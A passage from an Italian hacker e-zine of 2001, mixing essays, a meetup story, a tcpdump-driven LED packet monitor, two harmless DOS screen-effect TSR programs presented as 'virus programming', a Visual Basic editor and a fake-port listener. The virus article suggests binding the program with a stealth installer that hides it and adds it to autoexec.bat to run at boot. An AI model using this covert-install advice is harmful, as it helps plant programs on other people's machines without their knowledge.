Una delle chanches che il Grande Spirito ci concede in questo
percorso è di poter adorare la bellezza e la sensualità in svariati
modi. L'arte e  la natura nel loro splendore infinito ne sono le
massime espressioni.
Per il resto, superfluo eppure con cui dover fare i conti
quotidianamente,dipende spesso da un sacco di cazzate in cui a volte,
il più delle volte, ci si perde.
O Dio del Sole, aiutaci a ritrovarci ogni volta.

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 |
| R0SS0, VERDE, ViDA ................................. [Stefano Bisi] 0x1D/0x25 |
+-------------------------------------------------------------------------------+

Pazzia come vera possibile forma d'amore. Esplosione di pazzia.
Pazzia colorata che si espande. Dov'è l'arcobaleno dell'anima?
Roço,verde,vida....SCristobaldelasCasas,zapatismo dell'anima.
Poco misticismo. Badare all'essenziale.Non sempre tutto è simpatico e
carino. (U.S.A. e G.e.t.t.a. docet).
Bastano i visi austeri e fieri degli indios. Questo senso della vita da
adempiere con sobrietà, in silenzio.
"Fare come l'eremita che rinuncia a sè", direbbe Battiato.
Questa fierezza e dignità ben si conciliano con una vita dura materialmente,
ma altrettanto vera ed intensa spiritualmente. Ciò costituisce l'essenza
dello stile di vita indigeno in Chiapas.
Poco mistocismo nell9o zapatismo. L'importante è la ricerca della nostra
piccola-grande verità, limitata a questo tragitto, ma con grandi possibilità
d'espansione.
Forse l'essenza dell'utopia comunista risiede proprio in ciò. In questa
solidarietà che lega chi è alla ricerca della verità. Chi si mette nudo e
crudo con coerenza esenza alibi su questa strada.
Qui vive il Misticismo. Nella strada verso. Nella "tensione forte".
...Sta nella fratellanza e nella vera condivisione, nella coraggiosa e
minuziosa ricerca della bellezzae e dell'armonia.
Questo possiamo apprendere dagli indios:sobrietà, chiarezza, coerenza e
fierezza. Pura Nobiltà, in poche parole.(Altrochè Nuovo Nuovo!).
Senza bisogno di alcuna mitizzazione. Senza poss
ibili mistificazioni.
Soprattutto con tanto bisogno di Fede.
Grazie Signore per queste lacerazioni e per questa chiarezza. Dacci, ti
prego, il coraggio dell'azione nitida.
Siamo tutti tuoi operai. Speriamo il più puri possibile.

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #02 - 18/06/2001 |
| Mi0 CUGGGiN0 C0LPiSCE ANC0RA ............................ [Weisses] 0x1E/0x25 |
+-------------------------------------------------------------------------------+

Ecco un' ennesima bufala che ha girellato per la rete per qualche tempo.
Come ben sappiamo, la maggior parte degli abbonamenti flat isdn, salvo qualche specifica,
non consentono la connessione simultanea da due pc, mi e' capitato piu' volte di imbattermi in qualche forum di discussione in cui veniva detto che con galactica, usando lo stesso abbonamento su un pc con s.o. microsoft e su un altro con s.o. unix o derivati c' era la possibilita' di connettersi in concomitanza.
Che cuccagna ho pensato, precipitevolissimevolmente (hi hi hi) mi sono prodigato nell'opera
e................... e nulla, ecco cosa!
Figuriamoci se un provider come galactica che non riesce a fornire un servizio stabile ad
un pc su 5 possa consentire connessioni multiple con un solo abbonamento, se cosi' fosse
inizierei a credere anche che esiste grande puffo!
Per motivi noti a tutti ho disdetto la mia flat galaeasy (troppa stabilita' non mi piaceva :) ) ed ho fatto un contratto con aruba, alche' mi son detto: "perche' non provare?"
EUREKA! un pc con win 2000 e uno con red hat 7.0 perfettamente connessi contemporaneamente!
A quanto pare le legende metropolitane funzionano e diventano attendibili se applicate su
altri servizi!
Chuss ______________Wei§§e§______________


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MiSC] #02 - 18/06/2001 |
| Si FECE iN QUEL DELLA LUPA ............................. [Tdi110cv] 0x1F/0x25 |
+-------------------------------------------------------------------------------+

Autore : TDI110CV
Luogo : Ufficio
Orario : 13.30 (pausa !!!)
e-mail : tdi110cv@iname.com
Telefono : +8888 - 88
____________________________________________________________________________
...di cosa parlo ? No !!! Non di una chiavata , ma ovviamente di una
giornata trascorsa tutti insieme appassionatamente.
Dove ?! Be' certamente non nel buco del culo della lupa.
Vi diro' soltanto che giravano di quei culi che jey ha subito pensato
di andare alla ricerca di quel famoso exploit rilasciato per il Personal
Paracul Firewall V.69.
Robe da mal di denti ! Ma dove cazzo abiti Trit ... potevi dirmelo che
c'era tutto quel ben di Bill a disposizione ... mi sarei trasferito di brutto
altro che sposarmi !
Avrei cominciato subito la carriera di culhacker.
Vabbè le cose stanno cosi' e visto che ci siamo andammo avanti per questa
strada.
'Trit ma non e' che questa strada ci porta diritti diritti in gattabuia ?'
Onestamente tra Nato , Alessia Marcuzzi e cazzi vari mi immagino già che
una bella notte i finanzieri ci cazzeranno giu dal letto !
Chiusa sta parentesi fresca fresca (non so se si e' capita la Bat-tuta)
proseguiamo per la narrazione della giornata.
Eravamo rimasti ai culi che giravano per ... dei quali soprattutto jey
ne e' rimasto sconvolto.
Noi dal canto nostro siamo rimasti inermi a tanta bonta' da parte della
natura e abbiamo persistito nell'esporre i nostri ultimi progetti.
Io e Trit abbiamo pensato di aprire una pompa di benzina !
Jey una attivita' di import export floreale (Maria) , sensos persiste
nel credere che i preservativi siano l'unica attivita' veramente redditizia ,
cosa che io invece credo sia solo una attivita' del cazzo , e Xian che
onestamente ci confesso' di voler continuare a persistere nella Cul-tura
dell'hacking ! Si si confesso Xian si dedica ad hackerare il mondo indi
percui se dovete arrestare qualcuno arrestate lui ! (mo adesso son cazzi tua)
Questo e' stato principalmente l'inquadramento della giornata che
si dimostro' anche veramente dedita all'alcool.
Sembravamo dei BNC settati per saltare da un bar all'altro.
Approposito ... si parlava anche di quei geni che sono stati arrestati per
intrusioni ai danni delle universita' Italiane (fonte ANSA)
Certo ci si chiedeva come cazzo abbiano fatto visto che le universita' Italiane
sono le piu' sicure del mondo ! Mai nessuno ci carica sopra netcat o BNC !!
Inoltre ci si chiedeva che cosa sono il "boot" e lo "snifer" che sempre da fonte
ANSA sembrano essere famosi strumenti che l'hacker utilizza per violare
qualsiasi server.
TRITOLOOOO e poi tu ti vuoi spacciare per HACKER ? Cazzo e non sa neanche
cos'è uno Snif snif snif ... etchuuuuuuuu ... volevo dire snifer ?!
Vabbè tel spieg mi ! Allora ... snifer dal greco Sniferatum (ora che troiata
mi saltera' fuori ? ).
Indi se noi suddividiamo la parola sniferatum il snitum e fera vien fuori che
la fera non e' altro che la febbre in dialetto Veneto e che la parola
snitum non e' altro che il grado di rincoglionimento dei gironalisti ANSA
nella lingua turca a segutio della fera !
Probabilmente il giornalista in questione era talmente rincoglionito che quel
giorno altro gli salto' fuori che snifer e boot. Dove boot non sono ancora
riuscito a capire a cosa si riferisse.
Cmq tutti e due debbono essere dei must have !!
Tornando a noi la giornata proseguiva proseguiva proseguiva proseguiva (cazzo
ora non mi viene da scrivere piu' una bella sega) an si , e ci imbattemmo
in una serie di cassettoni Telecom ! Il buon jey , ex omino telecom , (ora
si capisce il perchè di tanta rincoglionitaggine) ci illumino' su usi e
abusi di quegli strumentini ! Dai modi per aprirli ai modi per chiuderli !
Onestamente quelli per chiuderli non ci interessavano.
Arriva piano piano il tardo pomeriggio e inizia la mia disavventura con jey !
Partiamo dalla lupa e arriviamo in tel casin ! Si esce dall'autostrada e
dopo 3 Km si arriva a casa di jey !
Fatti i saluti del caso , cosi' ingenuamente chiedo : 'Jey come faccio per
tornare all'autostrada ?'
E secondo voi ? cosa mi ha risposto ?
Bene ve lo dico io :'allora ehm uhm , vediamo , ma , si forse destra ,
sinistra , su , in fondo , diritto , giu' e poi non lo so piu' !'
Fortuna che dopo una serie di bestemmie appare un amico del posto che mi ci
ha portato ... altrimenti a quest'ora sarei ancora la' !
Insomma poteva smentirsi ? No e allora la soluzione e' sempre quella : o
coparlo o tegnerlo ! ehm alla prossima e Vi spiego cosa avro' deciso di fare !
ciao a tutti.


<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #02 - 18/06/2001 |
| PARAPiNZ PRJ ............................................. [Lesion] 0x20/0x25 |
+-------------------------------------------------------------------------------+

Nn avete proprio un cazzo da fare? Niente ma proprio niente niente?
Sicuri sicuri? Allora leggete come illuminare un po' di + il vostro
tristissimo pc :)
Il senso di questa storia e' quello di utilizzare la porta parallela
per far illuminare degli stupidissimi led.
La cosa si fa' + interessante quando si interfaccia un programma come
tcpdump a questi fottutissimi led....
Praticamente possiamo vedere tutti i pakketti di passaggio sulla lan
in questione.
L'idea di interfacciarci a tcpdump e', come ho detto, solo un idea, un
esempio ke ho trovato fiko, ma so' ke la vostra immaginazione e'
migliore della mia quindi trovare qlcosa di + fiko nn e' difficult.
Per cominciare skaricatevi le parapin, ke trovate qui:
ftp://ftp.circlemud.org/pub/jelson/parapin/parapin-0.90.tar.gz
Decomprimete il pakketto con "tar -xvzf parapin-0.90.tar.gz".

Ok ora arriva il bello.....entrate nella directory dove avete
decompresso il tutto e poi date un "make" e successivamente
un "make install". Se tutto e' andato bene e senza errori
e troiate varie (ricordatevi ke per farlo dovete essere root) siete
a cavallo.
Ora entrate nella directory examples.
Per farvi un'idea di come funzionano guardate il file outputtest.c
Le funzioni sostanziali sono 3:

int pin_init_user(LPT1);
Con questa inizializzate la porta parallela.
L'argomento rikiesto e' un integer ma in parapin.h sono gia' presenti delle
costanti (stringhe) ke fanno riferimento ai corrispondenti int.
La LPT1 ad esempio e' la 1a porta parallela.
La funzione restituisce un valore negativo in caso di errore quindi vi
consiglio un if < 0 exit(1) o troiate del genere.

void set_pin(int pins);
Come dal nome molto intuitivo setta un pin su on, ovvero lo accende :)
L'argomento e' il pin ke vogliamo settare come attivo.
Naturalmente nn ci restituisce un cazzo.

void clear_pin(int pins);
Praticamente spegne l'argomento

Editatelo a vostro piacimento tenendo presente le funzioni sopra
descritte (ke sono le unike da me utilizzate ma nn le sole).
Dopo aver finito col vostro smanetting uscite dal vostro editor
salvando il tutto, scendete di una directory e date un bel "make",
cosa ke dovrete fare ogni volta per ricompilare la vostra nuova creazione.

Ok ora ke vi siete fatti un'idea del loro funzionamento....prendete il
cavo della vostra stampante preferita, e spellatelo in modo ke avete
dei fili da attakkare ai led ke saranno ora stupendamente utilizzabili.
Naturalmente dovrete sklerare a trovare l'ordine dei fili in base al colore,
cosa ke potrete fare anke con la lingua (fidatevi, la scossa e' appena di
5V la sentirete poco). Naturalmente io ho fatto tutto a muzzo quindi
nn mi son trovato i numeri dei corrispondenti fili.
Ah naturalmente per vedere i risultati dovrete avviare il vostro programmillo
ke sara' dentro examples e si kiamera' outputtest.
NOTA IMPORTANTE:
Per controllare le porte (e quindi anke la parallela) dovete essere root.

Ekko qui ora la mia implementazione ultrafika ke potrete ammirare
all'hacklab di to, quindi venite a trovarci :)

-----------CODICE----------

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include "parapin.h"
int main(int argc, char *argv[])
{
int pin_sequence[] = { 1, 2, 3, 4, 5, 6, 7, 8, 17, 14, 16, 9, -1};
char buf[150];
if (pin_init_user(LPT1) < 0)
exit(0);
while(1){
if(fgets(buf,140,stdin)!=NULL){
//qualkuno smanetta in giro
if (strstr(buf,"lesion.it.lesion")==(char *)NULL)
set_pin(LP_PIN[pin_sequence[1]]);
else
//io smanetto in giro
if (strstr(buf,"> lesion.it.lesion")!=(char *)NULL)
set_pin(LP_PIN[pin_sequence[2]]);
//qlcno mi smanetta
else
set_pin(LP_PIN[pin_sequence[6]]);
usleep(1);
}
clear_pin(LP_PIN[pin_sequence[6]]);
clear_pin(LP_PIN[pin_sequence[2]]);
clear_pin(LP_PIN[pin_sequence[1]]);
}
}

--------FINE CODICE-----------------

A sembrarlo cosi' sembra inutile pero' fate una cosa del tipo:
tcpdump -l | outputtest &
e poi vediamo ke ne pensate.
Naturalmente tutto questo su una lan e naturalmente dovrete cambiare
lesion.it.lesion con il nome del vostro host.
In sostanza quello ke fa e' controllare l'output di tcpdump e vedere se
c'e' del traffiko di rete di cui io nn faccio parte (ovvero nn trova
lesion.it.lesion nel buffer) e quindi mi accende la prima lucina.In caso
contrario controlla se sono io ke mando oppure no i pakketti in modo ke
ho due led di cui uno controlla i pakketti in uscita e uno quelli in
entrata :)
A vederlo e' una figata :)
Nn mi resta ke augurarvi buon divertimento.
Byez lesion
lesion@softhome.net

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 18/06/2001 |
| PR0GRAMMAZi0NE ViRALE iN C ................................. [E4zy] 0x21/0x25 |
+-------------------------------------------------------------------------------+

"Un virus è un segmento di codice di programma inserito in un file
eseguibile, potenzialmente in grado di diffondersi sistematicamente da un
file all'altro"
, questa è solo una delle tante definizioni di "virus" che si
possono trovare in rete.

Questo articolo è dedicato a tutti coloro che desiderano cimentarsi nella
programmazione di semplici virus in ambiente C, a tale scopo ho pensato di
allegare un paio di sorgenti di mia creazione in modo da esemplificare la
mia spiegazione.
Prima di procedere all'analisi vera e propria del sorgente sono necessarie
alcune precisazioni, queste informazioni torneranno utili in seguito per
meglio comprendere il sorgente: le celle di memoria dello schermo in
ambiente MS-dos sono 2000 (80 colonne per 25 righe).
Ogni cella di memoria è composta da 2 byte, per il tipo int la cella di
memoria contiene sia il codice ASCII del carattere che quello del colore;
per il tipo char la cosa si complica un po' di più, in quanto la cella di
memoria è divisa logicamente in due parti ciascuna di un byte, la prima
parte contiene il codice ASCII del carattere la seconda il codice ASCII del
colore.

Ma passiamo all'analisi del primo dei due sorgenti ovvero "Caduta.c", una
volta compilato ed eseguito fa si che i caratteri presenti sullo schermo
cadano dall'alto verso il basso a partire dal carattere in alto a sinistra
dello schermo.


----------------- Caduta.c -------------------

#include <stdio.h>
#include <dos.h>
#define INT_TIMER 0x1c // definisce l'interrupt associato al mio
programma
#define SEC 1 // definisce la velocità di caduta dei caratteri

static unsigned char far *schermo=MK_FP(0xb800,0); // inizializzazione del
puntatore alla
// prima cella della
memoria video

static void interrupt mioint(void){ // dichiarazione delle variabili
static: in quanto static
static int conta=SEC; // vengono inizializzate solo la
prima volta che il mio
static char help,help1; // interrupt viene richiamato dalla
vector location
static int i=0;
static int j=0;
static int inizio=1;
conta--;
if(!conta){ // se conta è uguale a 0 esegue il contenuto
dell'if
if(inizio==1){
help=*schermo; // salva la lettera che deve cadere
*schermo=' '; // la sostituisce con lo spazio
inizio--;
}else
*(schermo-160)=help1; // viene riportata al suo posto la lettera
coperta
// momentaneamente dalla caduta di quella sopra
help1=*schermo; // viene salvata la lettera che verrà coperta
dalla caduta
// dalla caduta di quella sopra
*schermo=help; // la lettera cade di una riga
schermo+=160; // il puntatore alla cella di memoria viene
spostato di una riga
// sotto: il valore 160 è dovuto al fatto che
le colonne dello
// schermo sono 80 ma usando un puntatore di
tipo char il
// il valore risulta esattamente il doppio, in
quanto la cella
// di memoria viene divisa logicamente in 2
parti da 1 byte
// ciascuna
conta=SEC; // setta quanto tempo dovrà passare prima che
cada la
// prossima lettera
i++; // conta quante lettere sono cadute
j++; // conta di quante righe è caduta la lettera
if(i==(25*80)){ // se sono cadute tutte le lettere dello
schermo, ovvero 80
// lettere per 25 righe fa ciò che segue...

schermo-=((160*25)+158); // riporta il puntatore alla prima cella
della memoria
// video
inizio=1; // inizializza le variabili ai valori
iniziali
conta=SEC;
i=0;
j=0;
}
if(j==25){ // se una lettera ha finito di cadere ovvero è
arrivata al limite
// dello schermo...
schermo-=(160*25); // porta il puntatore alla cella di memoria
schermo+=2; // successiva
conta=SEC;
inizio=1;
j=0; // porta a 0 il valore del numero di righe
percorse dalla lettera
}
}
}

void main(void){
delay(2000); // impone un lieve ritardo all'avvio
dell'interrupt
setvect(INT_TIMER,mioint); // posiziona il mio interrupt all'interno della
vector
// location in corrispondenza dell'int 0x1c che
verrà
// richiamato dal sistema 18 volte al secondo

keep(0,_SS+((_SP+8)/16)-_psp+1);
}

----------------- Caduta.c -------------------


Il secondo sorgente "Inverti.c", una volta compilato ed eseguito inverte a
specchio, ogni secondo, l'immagine presente sullo schermo.


----------------- Inverti.c -------------------

#include <stdio.h>
#include <conio.h>
#include <dos.h>

static unsigned char far *schermo=MK_FP(0xb800,0); // inizializzo il
puntatore alla
// prima cella di
memoria video
static void interrupt mioint(void){
static char hlp;
static int indicea;
static int indiceb;
static int cont=0;
int i,y;
if (cont==18){ // impongo un tempo d'attesa, il mio interrupt verrà
richiamato 18
// volte al secondo, questo if farà si che il suo
contenuto venga
// eseguito una sola volta al secondo
indicea=0;
indiceb=0;
for(y=0;y<25;y++){ // fino all'ultima riga delle schermo fai ciò
che segue...
for (i=0;i<=78;i+=2){ // fino a metà delle colonne dello schermo
fai questo...

hlp=*(schermo+indicea+i); // salva la cella di memoria

*(schermo+indicea+i)=*(schermo+158+indiceb-i); // sostituisci il
contenuto
// della cella di
memoria
// salvata con il
contenuto
// di quella
diametralmente
// opposta

*(schermo+158+indiceb-i)=hlp; // sostituisci il contenuto della cella
// di memoria opposta con quello
// salvato in precedenza
}
indicea+=160; // vai una riga più sotto
indiceb+=160;
}
cont=0; // azzera il contatore
}
cont++; // incrementa il contatore
}

void main(void){
setvect(0x1C,mioint);
keep(0,_SS+((_SP+8)/16)-_psp+1);
}

----------------- Inverti.c -------------------

I sorgenti una volta compilati ed eseguiti non hanno la capacità di
richiamarsi all'esecuzione del pc o di infettare alcun file, in questo modo
possono essere eseguiti con tranquillità senza il pericolo di essere
infettati; il miglior modo per capire il funzionamento dei due programmi è
quello di provare a modificarne il sorgente, ricompilarlo e vedere come
risponde alle modifiche.
Ad ogni modo, per gli utenti più maliziosi, è possibile usare un programma
come lo stealth installer 2 per fondere l'exe derivato dalla compilazione
del sorgente con un altro eseguibile che copi il file in una cartella
nascosta e aggiunga una chiamata all'autoexec.bat, questo farà si che il
programma venga richiamato nella fase del boot, provare per credere =)


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 18/06/2001 |
| Gi0CARE C0N i FiLE iN VB: CiF EDiT0R ..................... [Mantis] 0x22/0x25 |
+-------------------------------------------------------------------------------+

Quale e' il piu' classico dei classici usi dei file di testo?Semplice: salvarci i documenti scritti
con un editor di testo.
Questo articolo vi spieghera' come ottenere un semplice editor di testi da VB... ma
soprattutto vi insegnera' alcune basi di gestione dei file di testo in VB.
Il progetto di base, come appena detto, e' un editor di testi assimilabile al blocco note di
zio Bill.... ha principalmente 3 comandi: salva, apri e elimina file.
Una volta aperto un form di VB e sufficientemente ingrandito si dispongano in bell'ordine
(!) i seguendi oggetti:

1 textbox a cui sia stato abilitato il multi-line dalla finestra delle proprieta'
4 pulsanti
1 textbox piccola senza multi-line
1 combobox

Questi sono i componenti essenziali. io ho poi aggiunto un altro pulsante con una funzione
che mi rendeva il numero di caratteri digitati.... piccola comodita' per quando mando un
SMS (prima lo scrivo in un editor di testi e poi lo incollo nel form sul WEB e mi serviva
sapere quanto era lungo....).Ma a voi non frega nulla :).
Per prima cosa vediamo come il CIF editor gestisce i percorsi e i nomi dei file.
Per aprire un file e' necessario indicarne il percorso completo di nome in un'apposita
textbox.... ho predisposto che all'evento Form1_load nella textbox appaia la directory in
cui e' situato il file CIFeditor.exe. Per fare cio' e' sufficiente 1 riga di codice: text1.text =
app.path.
Una volta scritto il percorso con il nome del file, si potra' scegliere in una combobox
l'estensione che si vorra' dare al file.
Alla fine il nome del file sara' composto da:

percorso + nome + "." + estensione

Basta assegnare ad ogni variabile il valore appropriato e il gioco e' fatto.
Il primo pulsante che analizziamo serve per aprire un file di testo (o un qualsiasi altro file, a
patto che l'estensione sia compresa tra quelle inserite nella combobox; aggiungerne una e'
estremamente semplice: basta modificare la proprieta' "List" nell'apposita finestra.
Visual basic mette a disposizione vari modi di apertura di un file: pensiamo a Random,
Binary, Input, Output. Ognuno di questi ha poi appositi comandi che
permettono di leggere testo dal file o di scriverci dentro dei dati (Input, Line input, Get,
Put, Print, Write).
E' importante non sbagliare corrispondenza tra modi di apertura e comandi di I/O: cosi'
facendo si genererebbero errori di modalita' file non valida.
Per leggere dati formattati in un certo modo e per fare si' che anche altri programmi
possano leggere gli stessi dati senza alcuna differenza, nel CIFeditor ho utilizzato il
comando "Line input" e ho aperto il file in modalita' "Input".
Il problema che mi ha tenuto per giorni e notti attaccato al monitor e' che Line input legge
solo la prima riga del file che apro. O meglio: se tento di leggere un file scritto con
l'istruzione (ecco, non comandi, istruzioni!) Write me lo legge e formatta correttamente,
ma se tento di aprire un file scritto, ad esempio, col WordPad....
Queste poche righe di codice sonostate la soluzione al problema:

Open file For Input As #1
Do
Line Input #1, variabile
tutto = tutto & variabile & vbCrLf
Loop Until EOF(1)
Close #1
testo1.Text = tutto

La prima riga serve per aprire di fatto il file (se il file non esiste lo crea, ma se non esiste
che diavolo lo apriamo fare??).
Le righe dalla seconda alla quinta inclusa sono un ciclo di iterazione per falso (ovvero si
ripetono fino a quando la condizione posta dopo l'until rimane falsa) e servono per leggere
i dati (formattati) dal file che vogliamo aprire e per assegnarli ad una variabile (tutto).
Praticamente il ciclo funziona cosi':

Assegna alla variabile di nome "variabile" il contenuto di una riga del file
Assegna alla variabile "tutto" il valore della variabile stessa + il valore della variabile
"variabile" + il carattere di newline (vbcrlf = chr(13)+chr(10) ovvero enter + feed
line)
ripete tutto fino alla fine del file (EOF=end of file | 1=ID univoco di un file aperto in
VB. lo si assegna ad un file nel momento della sua apertura ( "... As #1")

Ho dovuto mettere il carattere di newline perche' altrimenti non avrebbe rispettato tutti gli
"a capi" ma mi avrebbe messo in fila tutte le righe del file...... e addio formattazione.
L'ultima riga provvede all'assegnazioen della variabile "tutto" alla proprieta' Text
dell'oggetto testo1. OVVERO: visualizza nellateztbox testo1 il contenuto del file :)
Il secondo pulsante che andiamo ad analizzare serve per salvare quello che noi scriviamo
in testo1 in un file.
Il codice

Open file For Output As #1
Print #1, testo1.Text
Close #1

e' semplice applicazione della funzione Print.... si da' l'ID del file, la variabile et voila'! il file
si crea se non esiste o si aggiorna se esiste gia'.
NB: e' importante chiudere sempre il file alla fine dell'utilizzo onde evitare errori.
Il terzo pulsante serve per cancellare un file salvato che non ci serve piu'. E' una semplice
funzione di VB: Kill(nomefile) e il gioco e' fatto (ovviamente in nomefile ci va anche il
percorso...).
Il pulsante per determinare la lunghezza del testo scritto contiene un'altra semplice
funzione di VB Len(variabile) e fa apparire la lunghezza in una label grazie al codice
'label1.caption="La lunghezza e' " & len(variabile) & " caratteri." '. Tutto li'.
Ovviamente il progamma necessita delle migliorie (migliore gestione degli errori e delle
estensioni, features varie.....) ma e' solo una dimostrazione. Lascio a voi l'onore.

Bene... questa volta abbiamo finito..... i sorgenti per fare delle prove li trovate allegati
all'articolo..... avete tutto per scrivere l'editor di testi del nuovo millennio :)

mantis_


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 18/06/2001 |
| WiNUNiX ............................................. [Screener_it] 0x23/0x25 |
+-------------------------------------------------------------------------------+

ø-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-ø
ø WINUNIX ø
ø Screener_it ø
ø¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥ø



*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Autore: Screener_it
email: screener_it@freemail.it
URL: www.tankcommandos.org
DATA: 07/01/01

*/
*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Le caxxate che si dicono in giro per la rete sono tante. Tantissime !!
Dalle leggende metropolitane, ai giudizi affrettati, alle idee fisse
nella mente di chi ha sentito solo una campana..
Di leggende metropolitane ne avete sentite anche troppe, giudizi affrettati
anche..
Le idee fisse cosa sono ? Sono le idee messe in giro da una minoranza che sono
poi diventate il pensiero della massa..
La più classica è che per forza chi è un hacker è un anarchico. E allora giù
con i ragazzini che riempiono i loro siti di stemmi anarchici credendo che
così sono molto più underground.
Un'altra idea fissa è quella che odio di più: Visual Basic è un linguaggio da
lamer..
E questo perchè ?? Semplice, è un prodotto della Microsoft e quindi tutto quello
che è Microsoft = lamer.
Dimenticando che Ms-Dos è un frutto della MS, dimenticando che il 99% ha iniziato
a usare il pc con Windows ( 3.1, 95, 98, ..).
Alzi la mano (scriva 'na mail) chi ha iniziato a usare il pc installandosi Linux
da solo !!!!!!!!!!!!
E' vero, alcuni prodotti della MS sono discutibili, prezzi vergognosi, però..
Diamo alla MS quello che è della MS !!!

Visual Basic non è uno dei linguaggio più avanzati, è verissimo !!
E' pur sempre vero che con poche righe di comandi si possono fare programmi
eccellenti. Ho aggiunto una campana al coro. Ascoltatele tutte prima di farvi
una vostra idea !!!

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Oggi parleremo di come creare WinUnix !!
E che caxxo è WinUnix ?? WinUnix è un programma nato dalla mia mente malata per
confondere gli avversari che mi fanno scanning, per avvertirmi di tentativi
di connessione, ecc..

Questo programma infatti apre porte classiche di un sistema Unix-like
( telnet su tutte ) o cmq porte non usuali su un computer casalingo
( POP3, SMTP, finger, ecc..) e così a un eventuale scanning l'attaccante si troverebbe
in difficoltà a riconoscere un sistema Windows..
In più in caso di scanning / tentativi di connessione mi avverte indicandomi l'ip
dell'attaccante e la porta a cui ha provato a collegarsi !!

Di cosa abbiamo bisogno per creare questo programmino ???
Poca roba:
1.- Visual Basic 5 (o succ.)
2.- Un po' di esperienza in Vb non guasta (ma possiamo farne a meno).

*/
*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Allora, cominciamo..
Prendete Visual Basic e versatelo in un recipiente abbastanza capiente e iniziate
a mescolare.. No, caxxo, ho sbagliato guida !!

Prima due paroline su cosa faremo. Questo programma si metterà in ascolto sulle seguenti
porte:
23 (telnet)
25 (SMTP)
79 (finger)
110 (POP3)
E fin qui ci siamo. Una cosa in più: queste porte nella realtà usano il protocollo TCP.
Come ben sapete in rete esistono principalmente due protocolli: il TCP e l'UDP.
Una certa differenza tra i due c'è, spiegarla qui è inutile, cmq sappiate che il più
usato è il TCP, che è anche il più sicuro, xkè, al contrario dell'UDP, controlla che
i dati siano arrivati a destinazione, mentre l'UDP lancia i dati e.. Se arrivano bene,
se non arrivano..
Cmq dato che vogliamo essere il più vicino possibile alla realtà useremo anche noi il
protocollo TCP per questo progetto.

Per creare applicazioni Visual Basic che interagiscono con le potenzialità di Internet
abbiamo bisogno di un componente particolare di Visual Basic !
Il suo nome è Winsock e si carica in Visual Basic semplice andando in
Progetto / Componenti e dall'elenco che appare selezionare "Microsoft Winsock Control" e poi
cliccare Ok.
Se andate nella barra degli strumenti a sinistra vedrete che ora è apparso un disegnino con
due computer. Se ci andate sopra vedrete la scritta "Winsock".
Perfetto..
Ora si tratta di aggiungere questo componente alla nostra form. Cliccate sopra quel
disegnino di prima e poi portatelo nel form. Perfetto !!
Nella form apparirà questo disegnino con il nome di Winsock1.

Ma cos'è il Winsock ?? Il Winsock non è altro che un componente di Visual Basic che funziona
in modo simile a telnet. Esso infatti può creare una connessione tra due pc, spedire
stringhe di dati da un pc all'altro, ecc..

Capito ? Bene. Andate a destra, dove vedete un finestra con il titolo "Propietà".
Prima cosa vedete la propietà (Name). Per non fare confusione lo chiameremo TCP1.
Scorrete l'elenco e arrivate fino alla propietà Protocol e controllate che siano
impostate su sckTCPProtocol, ok ??

Ogni porta del nostro progetto ha bisogno di un componente Winsock, quindi sulla form dobbiamo
crearne quattro. Che chiameremo TCP1, TCP2, TCP3, TCP4. Ok ??? Sono importanti i nomi,
altrimenti
più avanti non capirete niente !!

Inserite poi:
1 label con nome "lblip"
1 label con nome "lblporta"
entrambe devono essere vuote.

Ok, adesso passiamo al codice vero e proprio. Fate doppio clic su un punto qualsiasi
della form
e vi apparirà la scritta:

Private Sub Form_Load()

End Sub

che voi completerete in questo modo:

Private Sub Form_Load()
TCP1.LocalPort = Val(23)
TCP1.Listen
TCP2.LocalPort = Val(25)
TCP2.Listen
TCP3.LocalPort = Val(79)
TCP3.Listen
TCP4.LocalPort = Val(110)
TCP4.Listen
End Sub

Che abbiamo fatto ?? Semplice !! Ogni volta che il programma parte automaticamente i quattro
Winsock che abbiamo messo nel form si metteranno in ascolto sulle porte decise da noi.

TCP1.LocalPort = Val(23)
Questa riga serve per indicare al controllo TCP1 su quale porta operare (in questo caso la 23).

TCP1.Listen
Questa riga serve ad indicare al controllo TCP1 cosa fare.. In questo mettersi in ascolto
sulla porta che prima abbiamo indicato.

Ok, adesso le porte sono in ascolto.. E adesso che facciamo ???? Dobbiamo dire ai vari
protocolli come comportarsi in caso di connessione..

Quindi nel codice della form aggiungete questa riga:

Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)

End Sub

In mezzo a questa righe dovete dire al controllo come comportarsi in caso di richiesta di
connessione.Noi vogliamo che quando c'è un tentativo di connessione ci avverta indicandoci
l'ip dell'attaccante e la porta alla quale ha tentato di attaccarsi !!
Quindi:

Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)
lblip = TCP1.RemoteHostIP
lblporta = "23"
TCP1.Close
TCP1.LocalPort = Val(23)
TCP1.Listen
End Sub

Un po' di spiegazioni ve le devo, eh ?? Allora.. In caso di tentativo di connessione alla
